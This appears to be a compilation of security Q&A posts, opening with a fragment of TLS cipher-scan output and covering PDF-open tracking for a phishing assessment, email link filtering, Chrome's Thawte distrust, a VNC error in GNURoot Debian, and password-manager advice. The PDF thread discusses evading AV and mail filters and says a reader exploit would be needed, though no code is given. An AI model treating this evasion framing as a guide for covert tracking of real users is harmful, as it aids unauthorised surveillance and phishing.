|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (rsa 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (dh 2048) - A
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|_  least strength: C


How can I track whether a pdf was opened or not? I'm working on some options for a social engineering assessment for a client. One of the things I'd like to do is email a bunch of people a pdf attachment (or put the pdf on removable media) and then track how many people actually opened the pdf. What's a good method for doing this?

I'm looking for something that has the best chance to make it through any email filters and/or AV so I'm not wanting to make powershell connections back to their computer or anything like that. Simply track whether the pdf was opened on their computer or not. I'm thinking maybe an image in the pdf that has some code embedded that will call to a URL which could be tracked or something but I'm not sure if this is the best way or even a good way to do it. And if it is a good way to do it, is there a sample online somewhere? I've seen some services offered online that will track pdf stuff but I'd like to do this myself manually (or with a tool like SET or Metasploit or something if it's built in).

Bonus would be if I could also track whether the email itself was viewed using a similar method (not sure how likely this is).

You really need an exploit in a PDF viewer (Adobe Reader being the most common) to have a reliable way to track an action on a PDF file.

Because in normal operation, a PDF reader should never try to open a network connection or execute code on the local machine. The most that is allowed is to open a browser (or another PDF file) when the user clicks on a link.

So if you want to be immune to antivirus, mail filters and other anti malware, you must do what actual malware do: find a flaw in an application and exploit it.

The good news here is that Adobe Reader has not a very high security reputation, the bad news is that it is not enough to make it simple to find any exploitable vulnerability.


End user composes email linking to external domain: Best practices? 2 questions:

What are the arguments against warning end users that compose emails linking to external, non white listed domains?
Are there available tools, including handling of necessary dialogues with users, that intercepts e-mails as described below?

In the function as a corporate employee, I recently received an e-mail requesting me to fill out an online survey. An external tool was used, so that both the sender's e-mail address and the link to the survey was on an external domain. There was no link to an authoritative, internal site where this external site was white listed.

I assume you agree that this is not OK(1). Logically it would follow that one would train users not to compose such emails, as that will lower colleagues' vigilance. But when I bring this issue up with my managers, they respond "it's OK to click this link", no further action taken.

Would a solution here be to introduce, at the corporate level, a filter of sorts that:

Monitor incoming e-mail that contains external links that are from non-white listed domains.
Infer (from name or otherwise) if the sender seems to identify as an internal.
Halt or append the e-mail (remove links, supply warning including 1) best practices and 2) list out the removed links in a way that require manual work in order to execute them, e.g. inserting square brackets around the TLD or similar).

Consider also appending e-mails including links to white listed sites, providing confidence and raising awareness.

Warn the supposed sender about what has happened and again supply advice about best practice.

I would assume this would increase vigilance and make it harder to perform actual attacks, but I have not seen such a safeguard deployed for the clients I have worked for recently, all of which have experience with actual spear phishing attacks.

So again, the questions are:

What are the arguments for not implementing said filter?
Does any provider (e.g. Fireeye) provide such filtering(2) OOTB, preferably supporting an ADFS & Exchange-based infrastructure?

(1) Rationale: The e-mail cannot be distinguished from spear phishing; anecdotal evidence suggests that even IT pros easily succumb to this attack form; spear phishing "[accounts] for 91% of attacks" [W]; mature corporations train their users not to click links to external domains that are not authoritatively white listed internally.

(2) The functionality should include 1) reaching out to assumed internal users that, with good intentions, have used external tools to create bulk e-mail, as in the use case described above, and 2) managing an authoritative white list that can be made visible to end users.

Note: Question has been rephrased from "Why don't we warn end users that compose emails linking to external domains?".

There is no answer to the "why don't we" kind of questions because they are based on false premises: you're assuming that because you don't do it, nobody does. Specifically, there are plenty of mail security tools that will let you do things as simple as filtering mail based on regular expressions (which is enough to perform the filtering you're requesting).

Now, there are additional elements that you're not taking into account. For instance, an organization might use technologies like DKIM, SPF or even S/MIME to validate the authenticity of messages and help the end user assess the validity of messages. Since there is simply no way to prevent incoming mail from being gross forgeries ("hi, I'm Brenda from accounting. This is my private mail. Could you please...") the most efficient step for protecting your org is to teach users to look for positive identification markers (like the source domain name and, if possible, the digital signature of incoming messages).


Why does my Chrome still trust Thawte certificate? Thawte certificates are supposed to be invalid since Chrome 70, but I have Chrome 70.0.3538.102 and it accepts certificate of this site just fine. Does anyone know, why that is? Should I be worried?

Weird phased rollout mechanism.
Their rollout mechanism was supposed to be "in v70 it STOPS working!". But now they seem to have settled on something like "in v70 it will show a warning in the dev console and stop working for SOME (tm) users! And we will phase it in completely when we feel like it."
Details here:

https://twitter.com/hanno/status/1052556264994004993 , https://archive.fo/wFAGm
https://sites.google.com/a/chromium.org/dev/Home/chromium-security/symantec-legacy-pki , https://archive.fo/TtE7Z


Weird popup on Android 'GNUroot Debian' - what could cause it? I've got an Android device connected to my TV. The OS itself is of dubious origin, and various tools report it as rooted and unrooted. There's nothing important on its flash memory. Nonetheless, after using GNURoot Debian (think cygwin for android) to do a simple wget, I got this weird popup, see image.

I don't use VNC, and this error puzzles me. Particularly why something would attempt a VNC connection from localhost to localhost. Any ideas?

Edit: I've used this GNURoot Debian (from official Play Store) for a few hours yesterday - without this odd error. There were no other actions inside it, except a simple wget job.

I am the creator of GNURoot Debian.  GNURoot Debian does use VNC for providing a graphical desktop if desired.  If you click the Xterm icon (maybe on accident in this case), GNURoot Debian starts a VNC Server and then starts and VNC client to connect to it.  This is the error you get if for some reason the server is not running when the client goes to connect to it.
Corbin


My passwords keep getting rejected Everything I try to log into doesn't work. I constantly have to change my password through an email. It's really odd.

I do use the same password for most of my accounts. It's not something obvious mind you, but still, I use the same one or a variation of it. I have different special passwords and two-level steps for things that are important (like my email or my paypal account), but for Netflix and such I use my normal "easy" password.

That being said, I'm a rather cautions and aware user. I haven't downloaded or installed anything of suspicious nature. Also, I'm not sure this isn't a coincidence. Maybe I just forgot a few of my variations for these few different sites.

Anyway, to be on the safe side, what should I do now? Like, what's my immediate steps? I'm assuming my email wasn't hacked at this point.

Chances are, like you've said, you've forgotten the variations of your password.

It is possible that you have had all your accounts compromised, but, unless you're dealing with someone especially malicious and mischievous, they probably didn't go through the trouble of changing all your passwords for two reasons (at least in my mind):

The time and effort required to do this
You would quickly realize something is amiss when you can't log into
    the majority of your accounts; generally a malicious user wouldn't want to be discovered, so they wouldn't change your password in the first place.

So what is next regardless of being hacked? The true first step is admitting you have a password problem. We're all friends here, don't be embarrassed.

The next step is multiple steps, but TLDR; Get yourself a password manager. They are the best way to stay secure and have a variety of strong passwords for each account that you don't need to remember. You only have to remember your master password.

Step 1:

Figure out what password manager you want to use. There's plenty of options out there. Lastpass is a popular option. Keepass if you prefer something open source. There are plenty of options for this step. Some password managers have phone apps as well, which makes it easy to lookup your password when you're not at your computer/you don't want to add the browser extension to the computer you are using. Do a little research if you're feeling scholastic.

Step 2:

Think up a REALLY good master password. One that you can remember. XKCD style passwords, IMHO, are perfect, because they add a fun-load of entropy, and they are easier to remember than randomly generated passwords. Here is some OWASP material on what you're password should be comprised of if you're feeling really policy-oriented.

Step 3:

If you can't get into your accounts, reset the passwords like you have been. It'll be a pain the neck, but its better than throwing random passwords at the wall until one sticks.

Step 4 (AKA the grind):

Now its time to get rid of that common/slightly modified password of yours! Each password manager will have an option to create a randomly generated password. Create NEW randomly generated passwords and change your passwords for every online account you have.

Step 5 (depends on the manager you choose):

Add your passwords to the password manager. Either input them into the actual manager, or my preferred solution, log into ALL of your accounts in order to add the passwords to your password manager.

Step 6:

Breath easy easier.

This, obviously, will not guarantee your safety online. But this makes it MUCH harder to access your accounts. Hopefully hard enough that it's not worth the hassle to get into your accounts. Hope this wasn't all stuff you already knew and it was at least mildly helpful!